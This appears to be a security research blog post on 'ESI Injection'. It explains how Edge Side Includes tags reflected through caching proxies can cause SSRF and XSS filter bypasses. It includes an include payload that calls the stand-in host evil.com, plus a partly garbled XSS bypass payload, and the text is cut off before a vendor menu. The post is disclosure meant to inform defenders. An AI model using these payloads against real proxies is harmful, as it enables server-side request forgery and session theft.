Update: A new blog post has been published as a follow up to this article : ESI Part 2: Abusing specific implementations.

Abusing Caching Servers into SSRF and Client-Side Attacks

While conducting a security assessment, we noticed an unexpected behavior in the markup language Edge Side Includes (ESI), a language used in many popular HTTP surrogates (reverse proxies, load balancers, caching servers, proxy servers). We identified that successful ESI attacks can lead to Server Side Request Forgery (SSRF), various Cross-Site Scripting (XSS) vectors that bypass the HTTPOnly cookie mitigation flag, and server-side denial of service. We call this technique ESI Injection.

Through our testing, we’ve discovered a little under a dozen popular products that can process ESI: Varnish, Squid Proxy, IBM WebSphere, Oracle Fusion/WebLogic, Akamai, Fastly, F5, Node.js ESI, LiteSpeed and some language-specific plugins. Not all of these are ESI-enabled by default but this is discussed further below.

 

What Are Edge Side Includes (ESI)?

The ESI language is based on a small set of XML tags and is used in many popular HTTP surrogate solutions to tackle performance issues by enabling heavy caching of Web content. ESI tags are used to instruct a reverse-proxy (or a caching server) to fetch more information about a web page for which a template is already cached. This information may come from another server before serving it to the client. This allows fully cached pages to include dynamic content.

 

One common use case for ESI is serving a largely static page with dynamic pieces of data. ESI adds caching flexibility by allowing developers to replace dynamic portions of a page with ESI tags. Thus, when the page is requested, the ESI tags are processed and fetched by the proxy, ensuring the performance of the back-end application servers.

The image below can be used to illustrate a typical use case of ESI, where a weather website would cache the content of a city’s weather page. Dynamic data would then be replaced by their respective ESI tags pointing to an API endpoint URL.

 

Demonstration of a web page constructed through ESI

ESI’s syntax is fairly straightforward. The previous example’s HTML file would look something like this:

<body>
  <b>The Weather Websiteb>
  Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
  Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
  Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]

The initial ESI specification dates back to 2001 and each vendor’s implementation widely varies. The feature set for each product is different; some features will be missing from some products, but will be present in others. You can read more about the original ESI specification here: http://www.w3.org/TR/esi-lang. It describes the markup language usage and common features. Various vendors, including Akamai and Oracle, have also added additional features beyond the specification.

 

Where the Problem Lies

HTTP surrogates are not able to distinguish between legitimate ESI tags provided by the upstream server and malicious ones injected in the HTTP response. In other words, if an attacker can successfully reflect ESI tags in the HTTP response, then the surrogate will blindly parse and evaluate them, believing they are legitimate tags that are served from the upstream server.

For the ESI parser to process the ESI tags, the less-than < and greater-than > characters must not be encoded or escaped. These days, web application servers will usually escape special characters that are user-controllable to mitigate XSS attacks. While this would effectively block reflected ESI tags from being parsed by the surrogate, ESI tags can sometimes be injected in HTTP responses that are not HTML. Indeed, one of the modern features of ESI is to allow developers to add dynamic content to otherwise cached and static data sources, such as JSON objects and CSV. An exhaustive tutorial on ESI+JSON can be found on the Fastly blog, showing that ESI parsers can be configured to process ESI tags found in JSON objects. Since modern frameworks will try to contextualize their escaping efforts, it is not uncommon to see API endpoints allow HTML-like strings in JSON attributes, since they are not supposed to be interpreted by a browser as HTML. However, this allows attackers to poison an input that is reflected in a JSON response with ESI tags which would be interpreted by the surrogate during transit.

The previous scenario is rather rare, considering it does not represent a default behavior of any analyzed ESI-capable product. Most common attack vectors will be reflecting ESI tags by the back-end server, which would then be processed by a load balancer or proxy with ESI enabled. Obviously, if user-input is properly sanitized, as it should be to mitigate XSS attacks, ESI tags will be encoded and never processed by surrogates.

 

Side Effects of ESI Injections

Let’s look at some common scenarios of injections, and what they can be leveraged for:

 

Server-Side Request Forgery (SSRF)

Arguably, the most common and useful feature of the ESI specification is the use of includes. ESI includes are tags which, when processed by the proxy or load balancer, perform a side HTTP request to fetch dynamic content. If an attacker can add an ESI include tag to the HTTP response, they can effectively perform SSRF attacks in the context of the surrogate server (not the application server).

For example, this payload could be used to perform an SSRF on the HTTP proxy:

<esi:include src="http://evil.com/ping/" />

If you get an HTTP callback, then the surrogate server is vulnerable to ESI injections. As discussed below, ESI implementations differ. Some ESI-capable servers will not allow includes from hosts that are not whitelisted, meaning you could only perform SSRF towards one server. This is discussed in the section Implementation Variations below. Here is a diagram detailing how an attacker can leverage ESI to perform SSRF:

Typical ESI injection leading to SSRF
  1. The attacker performs a request passing through a surrogate server with an ESI payload, trying to get the backend server to reflect it in the response
  2. The surrogate server receives the request and forwards it to the appropriate backend server
  3. The application server reflects the ESI payload in the response, sends that response to the surrogate server
  4. The surrogate server receives the response, parses it to check if any ESI tags are present. The surrogate server parses the reflected ESI tag and performs the side-request to evil.com.
  5. The surrogate server receives the side-request from evil.com and adds it to the initial response from the backend server
  6. The surrogate server sends the full response back to the client

Bypass Client-Side XSS Filters

Client-side XSS filters usually work by comparing a request’s input with its response. When part of the GET parameters is echoed back in the HTTP response, the browser will launch a series of security measures to identify whether or not a potential XSS payload is being reflected. If the heuristics performed by the browser identify the payload as either HTML or Javascript, it is neutralized, and the attack is defeated.

However, Chrome's XSS protections do not know about ESI tags, since they were never meant to be processed on the client-side. By performing some ESI magic, it is possible to assign parts of an XSS payload to variables in the ESI engine and then print them back. The ESI engine will build the malicious Javascript payload on the server-side before sending it in full to the browser. This will bypass the XSS filter since the input sent to the server is not returned as-is to the browser. Let's analyze a simple payload:

x=
>alert(/Chrome%20XSS%20filter%20bypass/);
>

The  operand stores an arbitrary value in a server-side ESI variable. This variable can then be accessed back with the $(variable_name) operator. In the previous example, var1 stores the value cript. This value is then printed back to complete a valid 

Détection et réponse gérées Titan
Antivirus de nouvelle génération
Détection et réponse sur les terminaux
Détection et réponse sur le réseau
Détection et réponse sur les boîtes de messagerie
Détection et réponse face aux menaces internes
Gestion des pare-feu
Gestion des SIEM
La gestion des vulnérabilités en tant que service
GoSecure Titan
Logiciel Titan
Sécurité de la messagerie
Sécurité Web
Boîte à outils «Responder PRO Forensics»
Services professionnels
Services de préparation aux brèches
Les services-conseils personnalisés en cybersécurité
Évaluation de la cybersécurité
Services de réponse aux incidents
Services des équipes « Red & Purple »
Services de tests d'intrusion
Services de conformité et d'audit
Évaluation de la compromission de la sécurité
Technologies tierces

Pin It on Pinterest

Share This